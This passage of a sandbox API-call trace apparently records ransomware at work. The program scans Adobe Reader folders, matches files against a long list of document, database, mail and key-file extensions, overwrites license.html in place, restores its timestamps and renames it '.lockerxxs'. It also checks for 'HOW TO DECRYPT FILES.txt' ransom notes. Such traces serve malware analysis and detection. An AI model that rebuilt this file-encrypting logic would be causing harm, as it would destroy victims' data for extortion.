10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.179] lstrlenA (lpString="*.xlsx") returned 6 [0070.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.xls") returned 0 [0070.179] lstrlenA (lpString="*.xls") returned 5 [0070.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.mp4") returned 0 [0070.180] lstrlenA (lpString="*.mp4") returned 5 [0070.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.ppt") returned 0 [0070.180] lstrlenA (lpString="*.ppt") returned 5 [0070.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.pptx") returned 0 [0070.180] lstrlenA (lpString="*.pptx") returned 6 [0070.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.doc") returned 0 [0070.180] lstrlenA (lpString="*.doc") returned 5 [0070.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.dot") returned 0 [0070.180] lstrlenA (lpString="*.dot") returned 5 [0070.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.docx") returned 0 [0070.181] lstrlenA (lpString="*.docx") returned 6 [0070.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.7z") returned 0 [0070.181] lstrlenA (lpString="*.7z") returned 4 [0070.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.tar") returned 0 [0070.181] lstrlenA (lpString="*.tar") returned 5 [0070.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.bz2") returned 0 [0070.181] lstrlenA (lpString="*.bz2") returned 5 [0070.182] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.gz") returned 0 [0070.182] lstrlenA (lpString="*.gz") returned 4 [0070.182] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.mkv") returned 0 [0070.182] lstrlenA (lpString="*.mkv") returned 5 [0070.182] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.eml") returned 0 [0070.182] lstrlenA (lpString="*.eml") returned 5 [0070.182] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.msg") returned 0 [0070.182] lstrlenA (lpString="*.msg") returned 5 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.edb") returned 0 [0070.183] lstrlenA (lpString="*.edb") returned 5 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.accdb") returned 0 [0070.183] lstrlenA (lpString="*.accdb") returned 7 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.odb") returned 0 [0070.183] lstrlenA (lpString="*.odb") returned 5 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.java") returned 0 [0070.183] lstrlenA (lpString="*.java") returned 6 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.asm") returned 0 [0070.183] lstrlenA (lpString="*.asm") returned 5 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.pfx") returned 0 [0070.183] lstrlenA (lpString="*.pfx") returned 5 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.pem") returned 0 [0070.183] lstrlenA (lpString="*.pem") returned 5 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.p12") returned 0 [0070.183] lstrlenA (lpString="*.p12") returned 5 [0070.183] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.gpg") returned 0 [0070.184] lstrlenA (lpString="*.gpg") returned 5 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.vsd") returned 0 [0070.184] lstrlenA (lpString="*.vsd") returned 5 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.odg") returned 0 [0070.184] lstrlenA (lpString="*.odg") returned 5 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.raw") returned 0 [0070.184] lstrlenA (lpString="*.raw") returned 5 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.nef") returned 0 [0070.184] lstrlenA (lpString="*.nef") returned 5 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.svg") returned 0 [0070.184] lstrlenA (lpString="*.svg") returned 5 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.psd") returned 0 [0070.184] lstrlenA (lpString="*.psd") returned 5 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.vmx") returned 0 [0070.184] lstrlenA (lpString="*.vmx") returned 5 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.184] lstrlenA (lpString="*.vmdk") returned 6 [0070.184] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.vdi") returned 0 [0070.184] lstrlenA (lpString="*.vdi") returned 5 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.lay6") returned 0 [0070.185] lstrlenA (lpString="*.lay6") returned 6 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.185] lstrlenA (lpString="*.mpeg") returned 6 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.djvu") returned 0 [0070.185] lstrlenA (lpString="*.djvu") returned 6 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.tiff") returned 0 [0070.185] lstrlenA (lpString="*.tiff") returned 6 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.backup") returned 0 [0070.185] lstrlenA (lpString="*.backup") returned 8 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.pdf") returned 0 [0070.185] lstrlenA (lpString="*.pdf") returned 5 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.cert") returned 0 [0070.185] lstrlenA (lpString="*.cert") returned 6 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.docm") returned 0 [0070.185] lstrlenA (lpString="*.docm") returned 6 [0070.185] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.186] lstrlenA (lpString="*.xlsm") returned 6 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.dwg") returned 0 [0070.186] lstrlenA (lpString="*.dwg") returned 5 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.nd") returned 0 [0070.186] lstrlenA (lpString="*.nd") returned 4 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.tlg") returned 0 [0070.186] lstrlenA (lpString="*.tlg") returned 5 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.lgb") returned 0 [0070.186] lstrlenA (lpString="*.lgb") returned 5 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.mov") returned 0 [0070.186] lstrlenA (lpString="*.mov") returned 5 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.xdw") returned 0 [0070.186] lstrlenA (lpString="*.xdw") returned 5 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.ods") returned 0 [0070.186] lstrlenA (lpString="*.ods") returned 5 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.wav") returned 0 [0070.186] lstrlenA (lpString="*.wav") returned 5 [0070.186] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.mp3") returned 0 [0070.186] lstrlenA (lpString="*.mp3") returned 5 [0070.187] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.aiff") returned 0 [0070.187] lstrlenA (lpString="*.aiff") returned 6 [0070.187] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.flac") returned 0 [0070.187] lstrlenA (lpString="*.flac") returned 6 [0070.187] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.m4a") returned 0 [0070.187] lstrlenA (lpString="*.m4a") returned 5 [0070.187] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.csv") returned 0 [0070.187] lstrlenA (lpString="*.csv") returned 5 [0070.187] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.187] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.187] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.187] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.187] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.187] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini") returned="eula.ini" [0070.187] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" [0070.187] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\") returned="" [0070.187] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\HOW TO DECRYPT FILES.txt" [0070.188] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\how to decrypt files.txt")) returned 0x20 [0070.188] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" [0070.188] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.ems") returned 0 [0070.188] lstrlenA (lpString="*.ems") returned 5 [0070.188] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.db") returned 0 [0070.188] lstrlenA (lpString="*.db") returned 4 [0070.188] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.dbf") returned 0 [0070.188] lstrlenA (lpString="*.dbf") returned 5 [0070.188] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.myox") returned 0 [0070.188] lstrlenA (lpString="*.myox") returned 6 [0070.188] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.myo") returned 0 [0070.188] lstrlenA (lpString="*.myo") returned 5 [0070.188] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qbw") returned 0 [0070.188] lstrlenA (lpString="*.qbw") returned 5 [0070.188] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qbb") returned 0 [0070.189] lstrlenA (lpString="*.qbb") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qbm") returned 0 [0070.189] lstrlenA (lpString="*.qbm") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qbo") returned 0 [0070.189] lstrlenA (lpString="*.qbo") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qbx") returned 0 [0070.189] lstrlenA (lpString="*.qbx") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qba") returned 0 [0070.189] lstrlenA (lpString="*.qba") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qby") returned 0 [0070.189] lstrlenA (lpString="*.qby") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qbj") returned 0 [0070.189] lstrlenA (lpString="*.qbj") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.ofx") returned 0 [0070.189] lstrlenA (lpString="*.ofx") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.qif") returned 0 [0070.189] lstrlenA (lpString="*.qif") returned 5 [0070.189] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.mye") returned 0 [0070.189] lstrlenA (lpString="*.mye") returned 5 [0070.190] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.mbox") returned 0 [0070.190] lstrlenA (lpString="*.mbox") returned 6 [0070.190] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.eml") returned 0 [0070.190] lstrlenA (lpString="*.eml") returned 5 [0070.190] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.pst") returned 0 [0070.190] lstrlenA (lpString="*.pst") returned 5 [0070.190] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.ost") returned 0 [0070.190] lstrlenA (lpString="*.ost") returned 5 [0070.190] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.idx") returned 0 [0070.190] lstrlenA (lpString="*.idx") returned 5 [0070.190] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.dbx") returned 0 [0070.190] lstrlenA (lpString="*.dbx") returned 5 [0070.190] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.sql") returned 0 [0070.190] lstrlenA (lpString="*.sql") returned 5 [0070.190] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", pszSpec="*.mdb") returned 0 [0070.190] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" [0070.190] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" [0070.191] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html." [0070.191] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.lockerxxs" [0070.191] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.191] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3ece3 [0070.192] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a76e80, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0070.192] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.192] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3ecbd, lpOverlapped=0x0) returned 1 [0070.198] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html") returned="license.html" [0070.200] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.200] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3ecbd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3ecbd, lpOverlapped=0x0) returned 1 [0070.202] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.202] CloseHandle (hObject=0x94) returned 1 [0070.205] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html.lockerxxs")) returned 1 [0070.206] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.206] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.206] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="SKY", cAlternateFileName="")) returned 1 [0070.206] lstrcmpA (lpString1=".", lpString2="SKY") returned -1 [0070.206] lstrcmpA (lpString1="..", lpString2="SKY") returned -1 [0070.206] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.206] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="SKY" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" [0070.206] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.207] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.207] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.207] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.207] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.207] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.207] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.207] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.207] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.207] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.207] PathFindFileNameA 